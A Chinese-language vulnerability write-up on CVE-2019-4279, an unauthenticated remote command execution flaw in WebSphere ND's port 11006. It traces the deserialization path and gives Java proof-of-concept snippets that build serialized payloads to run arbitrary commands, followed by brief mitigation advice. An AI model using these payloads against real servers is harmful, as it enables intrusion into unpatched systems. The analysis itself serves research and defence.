Websphere ND远程命令执行分析以及构造RpcServerDispatcher Payload(CVE-2019-4279)
字数 1866 2025-08-26 22:11:14
WebSphere ND远程命令执行漏洞分析及利用(CVE-2019-4279)
漏洞概述
WebSphere Application Server ND(Network Deployment)版本在集群管理节点的"管理覆盖层TCP端口"11006存在远程命令执行漏洞。攻击者可以通过向该端口发送特制的序列化数据,在不需要身份验证的情况下实现远程代码执行。
受影响版本
- WebSphere Application Server ND 9.0
- WebSphere Application Server ND 8.5
- WebSphere Virtual Enterprise V7.0
漏洞原理
WebSphere ND在创建管理节点概要文件时会开放两个管理端口:
- 11005 (UDP)
- 11006 (TCP)
11006端口接收序列化数据进行处理,但未对输入数据进行身份验证和充分的安全检查,导致攻击者可以通过构造恶意序列化对象实现远程命令执行。
漏洞分析
数据流处理流程
-
数据接收与解析
- 类:
com.ibm.son.mesh.CfwTCPImpl - 核心方法:
completedRead(VirtualConnection var1, TCPReadRequestContext var2)
处理流程:
- 读取数据流
- 解析头部(前8字节):
- 前4字节为魔术字校验(必须等于963622730)
- 后4字节为消息长度
- 根据消息长度读取完整消息
- 反序列化消息对象
- 类:
-
消息处理流程
- 类:
com.ibm.son.mesh.AbstractTCPImpl - 方法:
procReceivedMessage(byte[] var1, int var2, int var3)
处理流程:
- 对消息进行反序列化
- 调用
procMessage处理消息 - 如果返回结果不为null,则广播到各个节点
- 类:
关键处理器
-
TcpMsgTypeBasedDispatcher
- 根据消息类型分发到不同的处理器
- 关键处理器包括:
MemberMgr(处理type=12的消息)RpcServerDispatcher.ProcRunTaskOnAllNodes(处理type=41的消息)RpcServerDispatcher(处理type=38的消息)
-
MemberMgr处理器
- 处理
TcpNodeMessage消息 - 关键操作:
- 初始化节点
- 设置
nextMsgProcessor属性 - 发送type=66的消息进行确认
- 处理
-
RpcServerDispatcher处理器
- 处理
BcastMsgRunTask消息(type=41)和RpcInvokeMessage消息(type=38) - 关键操作:
- 调用
invoke方法执行任务 - 通过反射加载并执行指定类
- 调用
- 处理
漏洞利用路径
方法一:两步利用法
-
第一步:发送TcpNodeMessage
- 构造
TcpNodeMessage对象(type=12) - 目的:注册节点并设置
nextMsgProcessor - 需要等待几秒让服务器处理后续消息
- 构造
-
第二步:发送BcastMsgRunTask
- 构造
BcastMsgRunTask对象(type=41) - 指定要执行的恶意类和方法
- 触发远程代码执行
- 构造
方法二:单步利用法
- 发送RpcInvokeMessage
- 构造
RpcInvokeMessage对象(type=38) - 直接指定要执行的恶意类和方法
- 无需等待,直接触发远程代码执行
- 构造
漏洞利用
利用类分析
关键利用类:com.ibm.son.plugin.UploadFileToAllNodes
- 该类可以通过
run方法执行系统命令 - 构造参数:
- 文件名:
.0osf1.tmp - 文件内容:任意字节
- 命令:要执行的系统命令
- 文件名:
POC构造
Java版POC示例
// 构造TcpNodeMessage
public byte[] getTcpNodeMessageObj() throws Exception {
TcpNodeMessage nodeMsg = new TcpNodeMessage();
nodeMsg.type = 12;
nodeMsg.ip = "0.0.0.0";
nodeMsg.udpPort = 11005;
nodeMsg.tcpPort = 11006;
nodeMsg.bootTime = System.currentTimeMillis();
return Serializer.serialize(nodeMsg);
}
// 构造BcastMsgRunTask
public byte[] getBcastMsgRunTaskObj(String command) throws Exception {
UploadFileArgument arg = new UploadFileArgument(".0osf1.tmp", new byte[]{0}, command);
Object obj = new BcastMsgRunTask(41, "0.0.0.0", 11005, 1L, "com.ibm.son.plugin.UploadFileToAllNodes", arg);
return Serializer.serialize(obj);
}
// 构造RpcInvokeMessage (单步利用)
public byte[] getRpcInvokeMessageObj(String op, String command) throws Exception {
UploadFileArgument arg = new UploadFileArgument(".0osf1.tmp", new byte[]{0}, String.format("%s %s && ", op, command));
Object obj = new RpcInvokeMessage(38, "com.ibm.son.plugin.UploadFileToAllNodes", arg);
return Serializer.serialize(obj);
}
利用流程
- 与目标服务器建立TCP连接(端口11006)
- 发送恶意序列化对象:
- 两步利用法:
- 先发送
TcpNodeMessage - 等待几秒后发送
BcastMsgRunTask
- 先发送
- 单步利用法:
- 直接发送
RpcInvokeMessage
- 直接发送
- 两步利用法:
- 服务器反序列化并执行指定命令
防御措施
- 升级到最新版本并应用安全补丁
- 限制对11006端口的访问(仅允许可信IP)
- 启用WebSphere的安全配置,限制反序列化操作
- 监控异常的网络连接和进程创建行为
参考链接
- https://www.exploit-db.com/exploits/46969
- IBM官方安全公告